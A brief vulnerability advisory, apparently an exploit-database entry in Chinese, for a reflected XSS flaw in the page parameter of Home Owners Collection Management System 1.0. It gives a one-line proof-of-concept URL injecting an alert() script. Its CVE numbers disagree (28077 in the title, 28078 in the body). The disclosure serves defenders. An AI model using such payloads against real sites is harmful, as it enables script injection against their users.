CVE-2022-28077

Home Owners Collection Management System 1.0 - 反射型XSS

Exploit标题: Home Owners Collection Management System 1.0 - 反射型XSS

日期: 2022-05-06

CVE: CVE-2022-28078

漏洞作者: Abdulaziz Saad (@b4zb0z)

厂商主页: https://www.sourcecodester.com/

软件链接: https://www.sourcecodester.com/php/15162/home-owners-collection-management-system-phpoop-free-source-code.html

版本: 1.0

测试环境: LAMP, Ubuntu

---

[#] 漏洞位置:

`$_GET['page']` 在 `/hocms/admin/inc/navigation.php:116` 中

[#] 利用方式:

`http://localhost/hocms/admin/?page=';alert("b4zb0z");'`